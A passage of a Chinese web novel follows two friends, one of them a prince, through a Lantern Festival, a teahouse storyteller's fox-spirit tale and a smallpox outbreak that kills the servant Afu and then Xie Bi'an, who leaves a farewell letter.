打更人拖长了调子:“上元节咯——”
38. 前尘多遗恨 二
随着打更人的话音落下,天空中响起几声炸响,一大朵一大朵烟花亮起,平时被爹娘追在屁股后面哄睡觉的孩子们此刻却在街上拍手尖叫着。
谢必安听着声音回头笑道:“都开心坏了,今日怎么闹应该都不会挨揍。”
沈自珩也笑:“不好说,你忘了那年险些就要挨揍的事吗?”
那年今日是谢必安第一次拉着沈自珩到花灯集市来,当年只开放一天宵禁,街上的人比现在还多,都想凑这一晚的热闹,人挤人的,只有拉着手才不会走丢。
偏偏谢必安是个叛逆的,偷偷甩掉了娘亲的手,拽着沈自珩跑到河边打算放花灯。
“我要写祝我爹高升,这样他就会更忙,就没时间管我了。”谢必安捏着笔在莲花灯的花瓣上写得满满当当,沈自珩思来想去都不知道该写什么,凑过去看谢必安的灯。
他小声地念出上面的字:“愿双亲身体康健,心想事成,来年莫要再揍我,愿沈自珩自由随心,不被束缚,与我做一世的好兄弟。”
他有些错愕,转眼看向谢必安,却也将谢必安看得一头雾水,他拿着花灯小心翼翼地问:“怎么了?你不满意吗,那我换一个……”
“不,不是的。”沈自珩冲他笑笑,拿过一旁的花灯边写边说,“我只是没想到你会写我。”
谢必安扒着他胳膊凑过去看,沈自珩的字果然比他好看许多。
花灯上写着:国泰民安,时和岁丰,愿岁并谢,与长友兮。
纸灯被河水托起,摇摇晃晃地向着下游漂去。
放了花灯,两人站起身往街上走,谢必安只顾着抬头看高处挂的花灯,只瞄了一眼脚下的台阶,却没注意到在他前面不远有个小男娃儿正朝着这个方向冲过来。
“小心!”眼见着那小孩冲过来,沈自珩飞快伸手拉了一把谢必安的胳膊将他拉到旁边。
谢必安踉跄了两步站稳,刚刚转过头去就见那小孩直冲下台阶,尖叫着栽进河里。
“坏了!掉进去了!”谢必安三步并作两步走到河边的台子上,他们刚刚放花灯时没觉得,现在走得急了才发现脚下这块地十分滑腻!他向河面上看了看,果断脱了自己的外袍,又飞快将里头的袍子系了结,“自珩!我下去救人,你留在上面!”
谢必安一个猛子扎了进去,好在河水并不湍急,他很快就拉住了正在扑腾的小男孩的胳膊。
“别怕!别乱动!我救你上去!”
“我记得小孩儿救上来以后他爹才赶过来,二话不说抬手就打他。”沈自珩背着手回忆当年,那年冬天很冷,河水更是冷得刺骨,即便谢必安上岸之后立刻穿上了外袍,喝了热茶,也还是冷得瑟瑟发抖。
谢必安想起来了,也笑道:“我俩还说去喝酒祛寒,结果半路上就被我爹抓住,他还以为我跑去闯祸了,差点就要揍我。”
谢家的家规本就不多,谢必安虽性格活泼,但也很少做出格的事,爹娘对他是能宠就宠,那次猛地见他那么狼狈,属实是吓得不轻。
“我爹就是纸老虎,我幼时想养狗跑去跟他讲,他板着脸不同意我也就当真了,这回捡着猫了带回去,他只看了两眼就说。”
谢必安转过身倒退着走,顺便抬起一只手虚虚托着下巴模仿着当日父亲的样子,粗声粗气地说,“捡到也是缘分,既如此你便好好养着吧。”
说完他一拍巴掌恍然大悟:“他不会是因为不喜欢狗所以不让我养吧?!”
“莫要胡说八道。”谢父一手托着猫肚子一手放在猫背上轻轻摸着,面对着儿子的控诉头也不抬,“自珩进宫去了?”
“一早便去了,所以我回来了嘛。”谢必安看着窝在爹怀里的墨玉——那只黑猫的名字,从那一摇一摆的尾巴来看,它现在十分舒服。从父亲的神情和手上不停的动作来看,他也十分开心。
明明就是不喜欢狗所以不让我养吧!谢必安腹诽着,转身去做给墨玉的窝。
谢父见他要走,问了一句:“你做什么去?”
谢必安头也不回地从鼻子里喷了口气,挥挥手道:“离家出走。”抬腿往自己房间去了。
猫窝其实一点也不好做,尤其是藤编的,要做的第一步就是买许多粗细适中的藤条,若是藤条没仔细处理,那第二步就是将藤条仔细打磨光滑。
“你现在到哪步了?”沈自珩在宫里住了几天回来后明显心情好了许多,今天不仅带着花灯来了,甚至还拿来了一袋子小黄鱼干,说是给墨玉吃的。
“第二步。”谢必安将手中磨好的藤条放到右手的筐里,又从左手边的筐里拿出一根藤条细细打磨。“你怎么不在宫里多待几天?”
沈自珩从筐里拿出一根藤条,学着他的样子一点一点打磨着:“明日节令假就结束了,皇兄要上朝,我留着也没意思了。原本他想让我明日再回,但我想着要来见伯父伯母,就早一天回来了。”
谢必安耸肩:“哦。”
就听沈自珩又心有余悸地说道:“而且我姑母也在。”
谢必安疑惑:“那有什么……”他一边开口一边在脑子里想了想沈自珩的姑母是哪位,他见过没有。
“带了好多……姑娘。”沈自珩放下藤条,回想起今早他打开房门看见院子里站满姑娘时的场面。
他实在是不知该如何处理这种情况,只能先走为上,从后门出去时他甚至希望自己脚下能凭空生出风火轮来。
“走。”谢必安将藤条丢进筐里,潇洒地一拍手。
“干什么?”
“给你压惊。”
“今日要讲的,是一只狐狸与书生的故事。”说书人坐在桌前一拍醒木,朗声道,“传说中有一书生在深山中迷了路,他……”
谢必安端起茶杯挡在嘴边,侧过身同沈自珩小声讲:“又是这个故事,老掉牙了,后面的情节我都能给你讲一遍,就是书生有困难的时候正巧遇上了狐仙,狐仙帮了他很多忙,两人最后终成眷侣了。”
沈自珩轻笑一声,这故事确实老掉牙,总出现在说书人的口中,虽有些细微之处不太一样,但大致都是相同的:狐仙都貌美如花,知书达理,书生都温和善良,与狐仙举案齐眉。他幼年初次听见这个故事时还问过皇兄。
“人们是如何知道狐仙是女子的?”沈自珩坐在桌边,玩着哥哥刚写好的一幅字,这是昨天夫子布置的作业,他也去听了
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但没有听懂,夫子说是因为他年纪还小。
哥哥笑笑:“这只是个故事,是人编出来的。”
“那我是不是也可以编一个故事?比如……”沈自珩放下手里的纸,眨着一双黑亮的眼睛看向哥哥,“比如一个人救下了一只小狐狸?”
哥哥看着他有些忍俊不禁:“当然可以啊,被救的仍是狐狸吗?”
沈自珩被问住了,咬着手指犹豫了一会儿,因为不好意思脸蛋也有些泛红:“嗯……我还没想好……”
“那等你想好了就同我讲吧。”哥哥哈哈大笑,拎着书箱去找夫子了,走出门时脸上仍带着笑意。
一会儿夫子见了怕是要觉得惊奇了。
“为什么狐仙都是貌美的?”谢必安咔嚓一声用牙磕开瓜子,“不知道,传着传着就成这样了呗,你也可以说狐仙丑得惊为天人啊。”
旁边一桌的年轻男子大概一直在听他们交谈,听到这儿笑出了声:“狐仙若是丑陋无比,那这个传说大概就不是这样的结果喽。”
谢必安看过去:“兄台?”
年轻男子有些自来熟,直接端着自己桌上的茶壶坐到他们旁边,腰间的红色玉佩随着他的动作摇晃着,在桌上狠磕了一下,他也没在意,只将茶壶往桌上一放:“呐,上等的碧螺春,尝尝。”
“多谢。”
说书人仍在眉飞色舞地讲着那个传说:“书生这才看清那狐仙的真容,可谓是天仙下凡,他一下便看入了迷,停住了原本要下山的脚步……”
“瞧,看见是美人儿了就不想下山,留在山上与美人儿寒暄了才能有后文。可你们想想,若是他不问狐仙姓名,直接下了山呢?”男子从桌上抓了把瓜子在手中,看了看沈自珩和谢必安有些期待的神情,却不再往下说了。
沈自珩顺着他的话往下想,终于开了口:“若是直接下了山,就不知道狐仙的身份,他们也就再没有了交集,自然也没有后面的故事。”
男子笑着竖起一根手指左右晃了晃:“不,原本的话本里说书生下山后狐仙也下了山,他们还是会遇见,只是书生多半不会认出那个丑陋的狐仙,即便认出了也不一定会相认……”
“兄台是不是将人想得太……看重外貌了?若是真心相爱又怎么会在意这些呢?”谢必安有些不服气,他若是喜欢女子,即便她相貌不堪,他也会喜欢的。
年轻男子又嗤笑一声:“真的吗?若是相貌不堪的人,恐怕见了第一面后你便不愿再看第二眼了。”
谢必安和沈自珩对视了一眼,确信他们都从这位兄台的话语中听出了一丝怨怼。
“书生同那狐仙说,我想娶你为妻,我们生生世世都在一起,我定会爱你护你,将你视作珍宝,狐仙感动至极,答应嫁他,从此一人一仙过上了神仙日子……”
年轻男子将手中的茶杯重重地掷在桌上,周围的客人都朝他看去。
“荒唐。”他站起身,大步跨上台,夺过说书人手中的醒木向桌上狠狠一拍,响亮的敲击声惊得在座所有客人都看了过去。
“你可知书生求娶究竟是为了什么?你可知他在娶亲前夜做了什么?你可知他真正想娶的另有其人?”
39. 前尘多遗恨 三
年轻男子说完,四周鸦雀无声。他看了说书人一眼,又看向台下面色各异的人们,脸上露出了悲悯又凄凉的神色。
台下那些嗤笑声已然到嘴边的人们见了他这副模样,只能讪讪将讥讽吞回肚里。
谢必安愣了一会儿,背后被沈自珩推了一把才反应过来,匆匆去追往茶馆外走的男子。
“兄台——兄台!”
茶馆外人来人往,谢必安环顾四周,往两旁的小巷里都寻了寻,却再没找见那个腰间挂红色玉佩的年轻男子。
“没找到?”沈自珩背着手从茶馆里出来。
谢必安看着这条人来人往的长街摇了摇头:“算了,一面之缘。”
嘴上说着一面之缘,可他心里还是觉得有些遗憾。
“遗憾什么?”沈自珩跟他一起往谢府走。
“照那位兄台的说法,书生心仪的另有其人,那为什么他还要求娶狐仙,他在娶亲前夜又做了什么呢?你不好奇吗?”谢必安问他,那兄台站在台上说那些话时的神情激昂,看着不像是假的。
沈自珩一副了然的样子摇头:“既然你已经知道书生喜欢的并不是狐仙,那还要娶她的目的便昭然若揭。”
许是他在高墙里长大,早就听过无数成亲的由头,巩固地位,争夺爵位,维持关系……
唯独没有的便是真心相爱。
“也许你会和真心相爱的女子成亲呢。”谢必安拍了拍他肩头,“走吧,我娘给你做的点心应该已经做好了。”
“娘——荷花桃山饼好了吗?”谢必安拖长了调子喊着,没听见回音便一把拽着沈自珩进了厨房。
灶台上放着刚做好的荷花桃山饼,还冒着热气,却没见谢母的身影。
谢必安捏起一块饼闻了闻,一股酥油香裹着桂花蜜的香气,热腾腾地散开:“好香,你快闻闻。”
沈自珩看了看府上,平日里谢府的小厮不少,总有人在忙碌,这会儿却是一个人也没有。“怎么不见伯母?”
“大概去后院弄花草了吧,你要去找她吗?”谢必安咬了一口饼,外层起酥的饼皮簌簌地掉着屑,他一手兜着饼屑,飞快地将嘴里的饼咽了,冲着沈自珩一抬下巴。
“走,看看去。”
虽然嘴上说着要走,但谢必安还是乖乖地将手里的饼吃完了才抬腿往外走。
他刚有记忆的时候爹娘就给他立规矩,食不言寝不语是最基本的,还有很多诸如不能端着碗到处走,不能站起来夹菜,走路时肩膀要稳等等。
起初他还又哭又闹地抗议,但后来父亲升了,他跟着入宫的次数越来越多,也就不得不在意那些礼仪规矩。
“我娘现在每天要看好几回花草,今年刚移过来一棵腊梅,最近快开花了,她天天盼着呢。”谢必安啧一声,回想起有天他看书到半夜,腰酸背痛,刚站到窗边想开窗透透气,远远地就看见后院里站着一个人。
“穿着大氅站在院里一动不动的。”他假模假样地捂着胸口抱怨,“你知道有多吓人吗!”
“少爷。”正扫着院子的侍女瞧见他们,放下扫帚走上前,“您找夫人吗?”
“对啊,我娘呢?”
“夫人出门去了,老爷也一同去了。”
谢必安看了看天色:“太阳快落山的时辰他们出门去了。”
他嘀咕着让侍女下去了,临了又问一句,“那他们说没说回不回来吃饭啊!”
谢必安很讨厌一个人吃饭,死缠烂打地将沈自珩留了下来陪他,但就他们二人围着一张大桌子吃饭,再怎么美味的饭菜也吃得没滋没味。
沈自珩放下筷子看他,不咸不淡地说:“你就是没离开过伯父伯母,依赖惯了。”
这话很客观,进了谢必安的耳朵里就像嫌弃他似的,他有些不服地撇着嘴,反驳道:“怎么没离开过,小时候我娘出征,我爹忙得脚不沾地,那时候我就被送到祖母家了啊,和祖母住了好几年呢。”
谢母曾是个领兵打仗的武将,沈自珩是知道的,但他见到伯母时她总是穿着一身颜色温柔的衣裙,簪着素钗,不是在给他们做点心便是在亭子里喝茶看书,全然看不出曾也征战沙场,他便逐渐忘记了这茬,直到谢必安提起他才想起来。
想到这儿他有些好奇:“伯母带兵打仗时伯父还是个县令吧,他们是如何认识的?”
谢必安呸呸吐掉误吃进嘴里的姜,嘿嘿一笑,兴致勃勃地开口道:“我爹去送粮草的时候认识的我娘,一见倾心啊!听我爹说他第一次送完粮草之后回了家,立刻就提笔给我娘写信,打算下次同粮草再一起送去,结果哈哈哈哈哈……结果没有第二次机会了,我娘直接打了胜仗回了京。”
他讲得起劲,索性放了筷子:“我爹听到胜仗的消息,又开心又懊恼,觉着自己应该早一点将信送去,或者直接跟我娘表明心意啊!他以为就这么错过了,也不再念想,专心去修堤坝,天天在太阳下晒着,脸上胳膊上都黑得发亮,据我娘说一直跟着他的一只小狗肚皮都晒黑了。”
沈自珩想象了一下那画面,黑得发亮的人后面跟着一只肚皮黑黢黢的小狗,有些忍俊不禁。
“我娘向皇上复命后便闲散下来,想着也是无事可做,又自请去帮助修建河堤,这不,就和我爹见面了。”
谢必安向后靠在椅背上,当时听到爹娘的经历时他还感慨,他们这相识相爱的经历也当真是讲究一个缘字:
“我爹去送粮草是因为属下前日在城楼上摔断了腿,我娘自请修建河堤,原本应是让她去下游督建,但通往下游的一条路被山上落下的滚石砸毁了,还砸伤了好几个工匠,那些工匠正是我爹带去修河堤的……”
说到这儿他倒抽了口气,幡然醒悟:“这么看纯粹是因为我爹倒霉啊!”
沈自珩没忍住,抖着肩膀笑了好半天。
冬季的夜来得很快,等小厮们走进来将灯都点了,两人才发觉外头最后一缕阳光也马上要消失了。
“爹娘怎么还不回来?”谢必安看着空无一人的前院,心头莫名紧了紧。
谢家并不算很大,布置得也简约,前院里只有几盏油灯亮着,堪堪能照亮灯下的那一小块地方,其它则隐入黑暗中。
谢必安又坐了会儿,看着小厮将桌上的饭菜都收走了,他站起身看着沈自珩,还在犹豫是让他先回家还是怎么着,突然从门口传来一声猫叫,他循声看去,墨玉蹲在门口正仰头看着他。
“怎么啦?”谢必安走近摘了它身上沾的一根草屑,不是在院子里蹭到的就是在还没做完的猫窝旁边蹭到的。
那个猫窝才刚能看出个圆形底,墨玉就好像知道给它做的似的,成天地往上头趴,爪子都揣在肚皮底下,眯着眼,像要孵蛋的老母鸡。
墨玉看了他一眼便往后院走。
“怎么了这是?”
他们跟着墨玉到了后院才发现外面竟是灯火通明。谢必安走上前,还未靠近西侧院墙便听见了一声尖锐的哭号。
墙根下站着两名
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小厮,从他们心惊胆战的表情看已经站着有一会儿了。
“外面怎么了?”
左边瘦长身材的小厮伸手指了指:“听着像是有谁染了病,发得很快,已经救不回来了。”
“什么病?”谢必安看了看院墙,在想要不要索性出去看看。
外头出去打听的小厮跌跌撞撞地跑了回来,往后院来时绊了一跤,险些整个人栽进池子里。一旁的小厮上前去扶,人还没扶起来,就听他颤抖着开口:“出事了……出事了!出事了……”
那小厮被人搀扶起来后嘴里也只反反复复地说着出事了,再想问详细些时便没了下文。
“我出去……看看。”谢必安叮嘱着府上的人将小厮安顿好,同身旁的沈自珩说着,“你赶紧回府里吧,外头这动静听着很乱。”
沈自珩收回看着远处的视线,平静地看了他一眼:“别废话,我跟你一起出去找伯父伯母。”
阿福将谢府大门推开一些,先一步走了出去查看街上的情况。
路面上有些被马车轧出来的小坑里有积水,有几个花灯被踩扁了,上头全是带着泥的脚印,还有些丢在墙根的花灯没被踩扁但也没了型,纸糊的外壳像是被水淋过,软趴趴地挂在竹编的灯架子上,花灯上的图案也化成一团模糊的墨迹。
“少爷,那户人家就在咱府的旁边。”阿福给谢必安指了指方向,那户人家门口站了不少人,有好些人手上拎着油纸包,还有几位妇人手上提着竹篮。
谢必安点点头走过去,哭号声已经停止了,只能偶尔听见几声啜泣和妇人压低声音的劝慰。
“我帮你问过了,医馆明天就能开门,明早一开门我们就去帮你请大夫过来,若是请不过来就喊我家那口子推着板车过来,帮你把人送到医馆去看。”提着小竹篮的妇人挤到门口,一边将手里的竹篮递过去一边宽慰着站在门口的戴着蓝头巾的妇人。
“别哭,我们给你拿了些家里有的药,都是治风寒的,你一会儿煮了给他喂下。”她轻轻拍了拍妇人的手背,“只要挺过今晚就有得救,对不?”
“听着像是染了风寒。”谢必安往远处走了两步,回身找沈自珩,等他上前了小声说,“可风寒有这么严重吗?”
“听那妇人说的话,像是病人已然动不了了。”沈自珩又回头看了看,那户人家门口已经无人,房门也关上了。
只是透过那扇房门似乎还能听见妇人揪心的哭泣。
“上元节一过宵禁便恢复了,闭门鼓后至第二日开门鼓前,百姓不得无故夜行,违者笞三十。”
谢必安伸长手臂一把勾住阿福的脖子打断他背律法,一指旁边的沈自珩,又指了指他腰间的玉牌:“你知道那个是什么吗?”
阿福愣愣地看着他,摇了摇头,脑袋上狗啃似的头发随着他的动作变得更加乱七八糟:“少爷,我还没学到这些字呢。”
沈自珩冲他笑笑,将玉牌拿起来给他看了看:“这是我的令牌,淳安王,有这令牌便不怕犯夜了。”
阿福恍然大悟:“令牌原来这么厉害!”
说完就被谢必安呼噜了一把脑袋。
聚香阁也是同其他商铺一样到点就关门歇息,夜里也不会留人看守,毕竟这么大的店铺,有个什么风吹草动都十分明显。
谢必安还记得聚香阁刚好起来时,门口养了只十分威武的狗,只是它一天都趴着打盹儿,客人们从没见它站起来过。
“大家都认为它是瘸腿的狗。”
40. 前尘多遗恨 四
“狗原来就趴在这儿。那时聚香阁还是个很小的店铺。”谢必安站在聚香阁门口,用手画着圈,将眼前一小块地方圈了起来。
他伸手在空中比划着:“当时这里放着一个木头做的小屋子,得有这么高吧,和当时的我差不多高了。”他回想着,“我钻进去好几次,和狗一起趴着,我娘找不到我的时候那狗就会告密,汪一声,我娘就知道我在窝里。”
他推开门走了进去,里面果然无人看守,谢父谢母也不在。
“走吧,也许他们回去了。”
不知是不是提到了那只狗,他们往回走时谢必安的情绪明显低落了许多。
“聚香阁是我外祖家的,最初只是个卖桂花蜜的铺子,后来喜欢的人越来越多,铺子也就越开越大。”谢必安像讲故事似的,开始同他讲起以前的事。
“我娘生我之后第二年就接手了聚香阁,那个时候的聚香阁已经做大一些了,有个很大的铺子,有前后院,我爹也是那一年把狗带了过来。”
“带过来?”沈自珩问。
街角的一棵腊梅开得正盛,长长的枝条挂满了花向外伸展着,过往的人们都不用走近便能闻见那股幽香。谢必安抬头挡了一挡伸在他面前的枝条,继续说着。
“那只就是我今晚说的,肚皮晒得黑黢黢的狗,我爹修建堤坝时它便一直跟着,几乎同吃同住了。起先我爹以为它是没人养的狗,所以跟着它蹭吃蹭喝,但后来有天晚上,我爹带着它坐在河边乘凉,它主人找过来了。”
“它主人是位上了年纪的老伯,脾气有点不好,是被踩到脚就会把人骂一顿的臭脾气,我爹就被他骂过。但后来我爹说,赵伯是善人,只是嘴坏。”
沈自珩听着皱起了眉,上了年纪的老伯,身边只有一只狗,若是没什么事他定是不会愿意让人把狗带走的。
果然就听谢必安语气有些低沉道:“那年有一场大暴雨,我爹赶在暴雨的前一天回到了那个村子查看堤坝的情况,也就是那个时候知道赵伯走了,狗也没人养了,我爹就把它带了回来。”
“带回来之后它每天就一直趴在门口,没精打采的,我爹说直到后来我长大了些,经常去聚香阁闹它,它才又活泼了些。”
“我小时候经常到聚香阁玩,它就跟在我后面看着我,陪我一起到后院拔草,一起去摘槐花……如果我要回家,它就会把我送到门口,看着我进去之后再一瘸一拐地回聚香阁。”
说话间他们已经走回了谢府,沈自珩迈上台阶时觉着谢必安没跟上来,一回头发现谢必安站在谢府门口,伸手指着地上:“这里就是它等我的地方。”
他说:“它确实是只瘸腿的狗。”
那只狗常端坐在谢府门口等着谢必安,门口的小厮看见狗来了便会跑进去喊,小少爷,大狗来啦!然后谢必安就会从家里一溜烟跑出来,扶着大狗的肩胛骨,一起往聚香阁走。
天色渐暗,夕阳快落下时,他们又会那样出现在谢府门口,等谢必安站在门口冲大狗挥手之后,大门关上,那只狗再回到聚香阁。
沈自珩问:“它天生便是瘸腿吗?”
谢必安摇摇头:“上了年纪了。”
沈自珩不再多问什么,只拍了拍他肩:“走吧,伯父伯母应该回来了。”
两人进了府便看见谢母坐在正厅,旁边竟站了好些人,各个面色凝重。
“娘,我当你们去聚香阁了,还和自珩去寻你们呢。”谢必安走进去,“怎么了?我爹呢?”
谢母坐在主位上,一手搭在额角,见谢必安回来便招手让他过去。沈自珩在门口看得清楚,这会儿坐在主位上的伯母与平日所见的截然不同了。
谢母撑在额角的手放下时谢必安才看见那只袖子上竟满是脏污,一大片污秽间还有星星点点的血迹。他顿时着急起来,提高了声音问:“娘!”
“你爹……”谢母清了清有些沙哑的嗓子,回家之后她急着召集这些部下,连水都没来得及喝上一口。
她端起茶碗送到嘴边,言简意赅地说了句,“你爹去城东了,去救人。”
“救什么人?”
“城东好些佃户都染了病,有的头痛有的高热,大夫去瞧了好几回也没下个诊断,只能先照着风寒给开药,老爷留在那儿熬药呢。”站在一旁的一位部下开了口,瞧着也是满脸愁容,“今天下午我去的时候,发现染病的人已经越来越多了,每个都喊身上疼。”
“现在呢?吃了药仍不见好吗?可有什么其他症状?”
屋中突然静了下来,那个部下摇摇头。
谢必安环视着他们的神色,无一例外皆是一副苦恼的模样,母亲又将手搭上额角,轻叹了口气。
“将城中的大夫请去再诊一次,我这就让阿福去找大夫。”谢必安一边说着一边朝屋外走去,步履匆匆地穿过长廊去找阿福。
“阿福!睡了吗?”他站在房门前抬手敲了两下,见屋中灯还亮着,阿福应当在屋里。他又敲了两下,喊道,“阿福?我进来了?”
里头传出的声音让他停下了推门的动作。
“别进来!少爷!”阿福急切地开口道,紧接着一阵剧烈的咳嗽声响起。
谢必安一惊,伸手推门,竟推不动。“阿福!你怎么了!”
阿福随着谢必安出门时便觉得有些头疼,但并没在意,以为是吹了风,想着回去喝碗姜汤便能好了,可没想到回谢府的路上头疼越发厉害,每走一步身体的震颤都使得头疼加剧,走到房门口时更是疼得直不起腰,像是被人抽了筋骨一般,尖锐漫长的疼痛从头顶向下蔓延到四肢百骸。
他强撑着挪到床边,两手撑着床边慢慢坐下便已经让他大喘气,没等他将被子铺开,吹灭烛灯,便听到了少爷的声音。
他听出了少爷话中的焦急,可他太疼了,疼到没有办法立刻回应少爷。
再等我一会儿,再等我……他坐在床边垂着头闭眼,试图慢慢将呼吸拉长来缓解身上有如重物锤击的疼痛。
门外又响起了敲门声。他睁开眼,正想起身开门,抬手时却发现自己手腕上长了一小块红疹。
红疹……长
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红疹是因为什么,什么病会长红疹……他来不及想,脱口而出:“别进来!少爷!”
“阿福!你怎么了!”门外的谢必安急得喊了起来,抬手用力砸着门,“你是不是生病了,哪儿不舒服,我去找大夫来!”
阿福咬着牙:“少爷,您来找我是有什么事要我做?”
谢必安斥他:“你都这样了,再有什么事也跟你没关系了!我自会找别人去做!”
话说得生硬,他想着阿福那憨憨傻傻的模样,终究还是不忍心再说重话,缓了语气道,“我去给你找大夫,你等着我。”
他转身就往外跑,甚至没对一旁的沈自珩交待一句,只经过时拍了一下他的胳膊。
沈自珩走到阿福房门口,见里头烛灯仍然亮着,他皱了皱眉,敲门问道:“阿福,我是沈自珩,你现在什么感觉?我听你方才讲话有些气喘。”
阿福有些无力地抬起头,沈少爷一向比自家少爷心细许多,隔着房门竟都能听出他气喘。
“我……头疼得厉害……身上还有……红疹……”
“红疹?何时有的?痛痒吗?”沈自珩又问,阿福平日照顾谢必安的饮食起居,活动范围几乎固定,怎的今日会突然生出红疹?
手腕上的红疹颜色逐渐变深,范围也扩大了些。阿福对着光抬起手腕看了看,忍不住伸手抓挠着那处。
“刚才回来后才发现有红疹,不痛,隐约有些痒。”阿福更用力地抓挠着,昏黄的烛灯下,坐在床边忍受着抓心挠肝的疼痛和瘙痒,他突然想到了逝去的母亲。
沈自珩还在门外:“你今日去了什么平日不去的地方吗?”
“我……我去城东一家佃户家里,买了花种。”阿福的声音颤抖着,他看向门口的那道身影,“沈少爷,我……我可能得了豌豆疮……”
阿福看着已经扩散到小臂的红疹,和从头转移到后背及腰的疼痛,几乎确定了这就是害母亲逝去的豌豆疮。
门外静了片刻,阿福看了过去,身影还在。
“沈少爷,您快些走吧,莫要传给您了。”阿福的声音带着哭腔,“我知道这个病,我娘就是这病走的,当时家里照顾她的亲戚也都被传上了这病,活不下来的……”
“阿福,你先别急,等大夫来瞧了再说。”沈自珩说着,一边伸手扶住跑过来的谢必安和被他拽着一路跑来气喘吁吁的大夫,示意他们先将口鼻蒙上,同时飞快地将刚才问得的内容告诉他们。
“阿福头疼,身上有红疹,我问过他今日去了城东,也许是在城东传上的,他还说他可能得了豌豆疮,他娘就是这个病走的。”
大夫刚喘匀气就被震惊得说不出话:“豌豆疮?!真是豌豆疮?”
谢必安闷闷的声音从布巾下传出来:“魏老,这病很严重吗?总能有解法吧?”
魏老看了看他,又扭过头看了看紧闭的房门,摇了摇头。
“难。”没等谢必安再说什么,魏老拉着他走远两步,低声问。
“他有没有亲人在世?身后之事谁能给他准备?”
41. 前尘多遗恨 五
谢必安将最后一抔土填上,扔了手里的铁锹走上前,抬脚用力踩着松软的土。擦得干干净净的碑上刻着有些不规矩的字。
“我把土踩实了,应该就不会有虫咬你了,你个胆小鬼,连蛇都不怕,倒是怕虫。”他看着碑停下了动作,“我的字还真的挺丑……但你说要我写的啊,可不能嫌弃了。”
今年冬天将将过了一半,风依然冷得刺骨。谢必安抽了抽鼻子,接过旁边递来的布包,放在碑前地上。布包打开后,里头是两身崭新的棉衣。
“我娘在上元节前就给你买了新棉衣,她说特地做大了一些,你偏不穿,说要留着过年穿,结果过年也不穿,你看,没机会了吧……”
谢必安摸了摸那棉衣,拿起来丢进了火堆中。
“不留个念想?”沈自珩问。
“怕他在下面冻着。你说,下面冷不冷?”谢必安说,“我这问的是傻话,你怎么会知道呢。”
沈自珩没再说话,将手里的冥钱投进盆里。
今年之前,他并未切身接触过这些。父皇母后崩时他还小,只记得满天都是圆形的纸,有白的有黄的,好多人吹吹打打的,两边还跪了很多人。他看不懂,只知道父亲没了,母亲也没了。
沈自珩捻着手里的冥钱,等盆里的看不见了便将手中捻开的再丢进去。
“这样他便都能收到了吗?”谢必安问他,伸手拿过一叠学着他那样捻着。
“我也不知道,只是当时……看他们这样做了。”
城东那场豌豆疮一下让许多家庭支离破碎,甚至有些家中接二连三地病倒,呼救声夹杂在哭声中分辨不清。
皇兄知晓此事后下令让各地方官员尽快安排逝者下葬,抚恤其家眷,那阵子满街飘的都是冥钱,好多人跪在路边,一边往空中撒着,一边拖长了调子哭喊。
“阿福——”谢必安站起身走到崖边,这里是他和父亲母亲一起选的地方,朝着东面,每日太阳升起都能看见。他两手拢在嘴边,朝着前方喊着,“一路走好——”
在他身后,阿福的墓前,冥钱被甩向空中,又洋洋洒洒地像雪花一般落了一地。
岑黎直起身,转过头去看了看窗外的大雪,轻声说着:“七爷当时一定伤心极了。”
“是啊。”沈自珩也看向窗外,又是一场雪。
前世他送谢必安时也是一场大雪。
“谢必安的信?他为何不直接进宫来找我?”沈自珩放下手中的棋子,从皇兄手中接过信,边拆边笑着,“倒也正常,宫里规矩多,他端不住。”
皇兄也笑:“你积些口德罢,也就是必安能容忍你,不同你吵架。”
“我说的是实话。”沈自珩将纸拿了出来,竟有好几张。刚一将信展开,只草草扫过几行字便觉不妙。
「吾友自珩,今去信一封,万望你将其铭记在心,吾将不甚感激,来世必感恩戴德,加倍还之。
此信乃我托母亲转交,待你拆阅之时,我双亲应已将身后诸事料理妥当。
城东近日爆发的豌豆疮实在凶险,即便侥幸痊愈,面上也难免留下疮瘢。听母亲说,父亲从大夫口中得知此事时,几乎落下泪来。他自己脸上的瘢痕不知能否消退,还曾忐忑地问母亲,会不会嫌他丑。
你进宫之后,我曾与父亲同往城东。那里有一户人家,全家老幼皆染此疮,无人照料,境况凄惨。父亲执意不让我靠近,他说:“你若也染了这病,见自己脸上长了可怖的疮瘢,丑得无法见人,怕是要天天以泪洗面。”
从前他总说我胡说八道,如今我倒觉得这话该换给他才是,我虽也得了豌豆疮,脸上留了瘢痕,却从未哭过。
说回正题。风寒在不同人身上的症状尚且各不相同,豌豆疮想必也是如此。父亲染病后只发了一身红疹,大夫用熏疗之法再加外敷药膏,没多久便痊愈了。可我染病后,红疹蔓延得极快,即便大夫们日日守在床边照料,也没能拦住病情加重。此刻口述这封信时,我全身上下,唯有嘴巴还能自如活动。
今日给你写这封信,有三件事相托:其一,是告知你我的近况;其二,是想拜托你,往后每年若有机会,替我去看望一回我的双亲,多宽慰他们,减轻些丧子之痛;其三,便是我想厚着脸皮求你一件小事,帮我把墨玉的猫窝做好。必安在此谢过。望君珍重。」
信纸落在棋盘上,皇兄抬头看去就见沈自珩垂着头,用有些颤抖的手将信纸捡起来,叠好塞回信封里。
“自珩?”
“皇兄。”沈自珩抬手用袖子蹭了眼睛,又用力地咳了好一阵,好似要把喉中哽咽都咳出来似的。他依旧垂着头,只看得见眼泪落在衣袖上,晕开一小片水痕。
他捏着信走到旁边跪下,哑着嗓子说:“皇兄,我想出宫……我要出宫一趟。”
“去哪儿?”
沈自珩红着眼抬头:“谢府。”
“王爷,谢府到了。”马夫勒紧手中的缰绳,偏过头朝车厢里说了一句。
过了一会儿后头才传来回音:“门口……挂着什么吗?”
马夫看着空荡荡的门口,刚想答什么都没有,就见谢府大门缓缓打开,从门口望进去,大片大片的白色在凛冽的风中飘荡。
“王爷,有人出来了。”马夫犹豫了一下,最终没说出口。王爷只有谢家少爷一位好友,如今谢家少爷病故,王爷此刻应该也是极伤心的吧。
“是自珩吧?”
沈自珩正准备下车就听外面传来谢母的声音,他急忙站起身推门,却不小心踩住了拖沓在地上的袍角,险些从马车上滚下去。
“小心些。”谢母伸手拉住他胳膊,待他站直后又拍了拍他手背,温和地说:“我就知道,你只要收到信了就一定会来。”
他不知道该说些什么,只能安静地跟着谢母往府中走,谢母穿着缟素走在前面,自言自语似的说:“我们必安啊,心地善良,交的朋友自然也是好孩子。”
他又落下泪来。
府中到处都是白色,白色的丧幡,白色的纸灯笼,白色的丧服,甚至连前院花坛中正开着的一簇
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花,也是白色的。
“这花是必安让阿福去城东买的,不知道是什么花,但开得很好。”谢母引着他直接去了谢必安房间。
